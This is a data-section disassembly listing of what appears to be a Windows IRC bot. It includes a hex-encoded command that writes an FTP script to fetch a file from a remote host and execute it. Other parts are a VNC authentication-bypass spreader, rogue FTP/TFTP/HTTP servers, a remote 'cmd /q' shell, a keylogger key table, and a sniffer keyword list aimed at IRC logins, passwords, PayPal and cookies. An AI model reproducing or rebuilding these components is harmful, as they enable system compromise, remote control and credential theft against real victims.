db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co
align 4
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o
align 4
word_433508 dw 1 ; DATA XREF: ___:0040E210r
align 4
dword_43350C dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh
; DATA XREF: sub_419C64+21o
dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h
dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h
dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h
dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh
dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h
dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h
dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h
dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh
dd 0
aFtpTransferCom db 'ftp transfer complete to: %s',0
align 4
a226TransferCom db '226 Transfer complete.',0Ah,0
aFtpTransferSta db 'ftp transfer started to: %s',0
a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0
align 4
aRetr db 'RETR',0
align 4
a200PortCommand db '200 PORT command successful.',0Ah,0
align 4
aS_S_S_S db '%s.%s.%s.%s',0
aXX db '%x%x',0Ah,0
align 10h
aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah
db ']',0
aPort db 'PORT',0
align 10h
a226TransferC_0 db '226 Transfer complete',0Ah,0
align 4
aList_0 db 'LIST',0
align 10h
a425PassiveNotS db '425 Passive not supported on this server',0Ah,0
align 4
aPasv db 'PASV',0
align 4
a200TypeSetToI_ db '200 Type set to I.',0Ah,0
aI_0: ; DATA XREF: ___:00437C70o
unicode 0, <I>,0
a200TypeSetToA_ db '200 Type set to A.',0Ah,0
aA_0: ; DATA XREF: ___:00437C7Co
unicode 0, <A>,0
aType db 'TYPE',0
align 4
a257IsCurrentDi db '257 "/" is current directory.',0Ah,0
align 4
dd offset dword_445750
a350Restarting_ db '350 Restarting.',0Ah,0
align 4
aRest db 'REST',0
align 4
a215Stnyftpd db '215 StnyFtpd',0Ah,0
align 4
aSyst db 'SYST',0
align 4
a230UserLoggedI db '230 User logged in.',0Ah,0
align 4
aPass db 'PASS',0
align 4
a331PasswordReq db '331 Password required',0Ah,0
align 4
aUser_2 db 'USER',0
align 4
aSS_3 db '%s %s',0
align 4
a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0
align 4
unk_4337F4 db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aServerFailedRe db ' server failed, returned %d',0
asc_43381C db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo
; sub_41A4D1+F5o
align 10h
aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o
align 4
aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Content-Length: %i',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o
db 'Server: myBot',0Dh,0Ah
db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
db 'pragma: no-cache',0Dh,0Ah
db 'Content-Type: %s',0Dh,0Ah
db 'Accept-Ranges: bytes',0Dh,0Ah
db 'Date: %s %s GMT',0Dh,0Ah
db 'Last-Modified: %s %s GMT',0Dh,0Ah
db 'Expires: %s %s GMT',0Dh,0Ah
db 'Connection: close',0Dh,0Ah
db 0Dh,0Ah,0
align 4
aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o
; sub_41AA42+1AEo
align 10h
aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
align 4
aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
align 10h
aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo
align 4
unk_433A3C db 2Dh ; - ; DATA XREF: sub_40F6B3+296o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aFailedToSta_37 db ' failed to start worker thread, error %d',0
align 4
unk_433A74 db 2Dh ; - ; DATA XREF: sub_40F6B3+212o
db 3, 34h, 2
db 68h ; h
db 2 dup(74h), 70h
db 64h ; d
db 2, 3, 2Dh
aWorkerThreadOf db ' worker thread of server thread: %d.',0
align 4
asc_433AA8: ; DATA XREF: sub_40F6B3+15Ao
unicode 0, <*>,0
aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0
; DATA XREF: sub_40F96A+652o
align 4
aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah
db '</TABLE>',0Dh,0Ah
db '</BODY>',0Dh,0Ah
db '</HTML>',0Dh,0Ah,0
align 10h
aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
; DATA XREF: sub_40F96A+61Co
align 10h
a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
align 4
aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
align 4
aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
align 4
aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
align 4
a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
align 4
aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o
db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
align 4
aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
align 4
aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co
align 4
aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o
; sub_40F96A+496o
db '<TD WIDTH="%d"><A HREF="',0
align 4
aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
align 4
aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o
; sub_40F96A+40Bo
align 10h
a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o
align 4
aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao
align 4
a__ db '..',0 ; DATA XREF: sub_40F96A+237o
align 4
aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o
db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
db 'D>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+12Do
db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 10h
aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+F9o
db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
db '</TR>',0Dh,0Ah,0
align 4
aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
db '<TABLE BORDER="0">',0Dh,0Ah,0
align 4
aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_40F96A+79o
db '<HEAD>',0Dh,0Ah
db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
db '</HEAD>',0Dh,0Ah
db '<BODY>',0Dh,0Ah,0
align 4
aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
db 'Referer: %s',0Ah
db 'Host: %s',0Ah
db 'Connection: close',0Ah
db 0Ah,0
dword_433F50 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:0041036Do
aServerFailed_0 db '- server failed, returned %d',0
align 4
aUseridUnixS db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433F94 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: ___:004102B7o
aClientConnecti db '- client connection from %s:%d.',0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToSta_38 db 'Failed to start client thread, error: <%d>.',0
unk_433FFC db 2Dh ; - ; DATA XREF: ___:00410493o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aClientConnec_0 db 'Client connection from IP: %s:%d, Server thread: %d.',0
align 4
unk_434044 db 2Dh ; - ; DATA XREF: ___:004106E5o
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aFailedToSta_39 db 'Failed to start connection thread, error: <%d>.',0
unk_434084 db 2Dh ; - ; DATA XREF: ___:0041061Co
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 3
db 2, 2Dh, 20h
aClientConnec_1 db 'Client connection to IP: %s:%d, Server thread: %d.',0
align 4
unk_4340C8 db 2Dh ; - ; DATA XREF: ___:004109A8o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedOutS db '- User logged out: <%s@%s>.',0
align 4
unk_4340F4 db 2Dh ; - ; DATA XREF: ___:00410981o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorSessionru db '- Error: SessionRun(): <%d>.',0
align 10h
unk_434120 db 2Dh ; - ; DATA XREF: ___:00410961o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aUserLoggedInS@ db '- User logged in: <%s@%s>.',0
aPermissionDeni db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
align 4
unk_43415C db 2Dh ; - ; DATA XREF: ___:004108A0o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorGetpeerna db '- Error: getpeername(): <%d>.',0
align 4
unk_434188 db 2Dh ; - ; DATA XREF: sub_4109C4:loc_410A09o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aProtocolString db '- Protocol string too long.',0
align 4
dword_4341B4 dd 234032Dh, 676F6C72h, 2646E69h, 4C202D03h, 6E69676Fh
; DATA XREF: sub_410A1E+1Bo
dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
dd 203A7265h, 4073253Ch, 2E3E7325h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 45202D03h, 726F7272h
dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
dd 656E7275h, 3C203A64h, 2E3E6425h, 0
dd 234032Dh, 676F6C72h, 2646E69h, 46202D03h, 656C6961h
dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
dd 676F6C72h, 2646E69h, 43202D03h, 6E65696Ch, 6F632074h
dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
dd 676F6C72h, 2646E69h, 46202D03h, 656C6961h, 6F742064h
dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
dd 0
db 2Dh ; -
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aErrorWsastartu db '- Error: WSAStartup(): <%d>.',0
align 10h
unk_434350 db 2Dh ; - ; DATA XREF: sub_410CD5+DEo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aWaitformultipl db '- WaitForMultipleObjects error: <%d>.',0
align 4
unk_434384 db 2Dh ; - ; DATA XREF: sub_410CD5+59o
; sub_410CD5+8Bo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCreate db '- Failed to create ReadShell session thread, error: <%d>.',0
align 4
unk_4343CC db 2Dh ; - ; DATA XREF: sub_410E26+AFo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExecut db '- Failed to execute shell.',0
unk_4343F4 db 2Dh ; - ; DATA XREF: sub_410E26+7Eo
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_0 db '- Failed to create shell stdin pipe, error: <%d>.',0
align 4
unk_434434 db 2Dh ; - ; DATA XREF: sub_410E26+5Co
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToCrea_1 db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_434474 db 2Dh ; - ; DATA XREF: sub_410F1F+C3o
db 3, 34h, 2
db 72h ; r
db 6Ch, 6Fh, 67h
db 69h ; i
db 6Eh, 64h, 2
db 3
aFailedToExec_0 db '- Failed to execute shell, error: <%d>.',0
align 4
aCmdQ db 'cmd /q',0 ; DATA XREF: sub_410F1F+8Co
align 4
dword_4344B4 dd 234032Dh, 676F6C72h, 2646E69h, 53202D03h, 69737365h
; DATA XREF: sub_410FF8+A1o
dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
dd 74726F50h, 2E642520h, 0
dd 234032Dh, 6B636F73h, 3023473h, 6146202Dh, 64656C69h
dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
dd 6B636F73h, 3023473h, 6C43202Dh, 746E6569h, 6E6F6320h
dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7245202Dh
dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h, 3023473h, 7541202Dh
dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
dd 7325203Dh, 2Eh, 4000500h, 7868746Bh, 0
aTftpTransferCo db 'Tftp transfer complete to: %s',0
align 4
aTftpTransferSt db 'Tftp transfer started to: %s',0
align 8
dw 8
unicode 0, <>,0
aB:
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h, 38h, 38000000h, 2 dup(0)
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_434E24 dd 234032Dh, 6C79656Bh, 302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
align 4
asc_434E54: ; DATA XREF: ___:00411C3Fo
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0
align 4
aSChangedWindow db '%s (Changed Windows: %s)',0
align 10h
dd offset off_435718
dd offset off_435714
dd offset off_435710
dd offset aHttp_0 ; "HTTP"
dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 0
db 0
db 3 dup(0) ; DATA XREF: ___:off_435714o
dd 3 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp_0 db 'HTTP',0 ; DATA XREF: ___:00434EACo
align 10h
off_435710 dd offset word_505446 ; DATA XREF: ___:00434EA8o
off_435714 dd offset byte_435249 ; DATA XREF: ___:00434EA4o
off_435718 dd offset word_544F42 ; DATA XREF: ___:00434EA0o
dd 234032Dh, 696E7370h, 3026666h, 6572202Dh, 29287663h
dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
dd 0
dd 234032Dh, 696E7370h, 3026666h, 7573202Dh, 63697073h
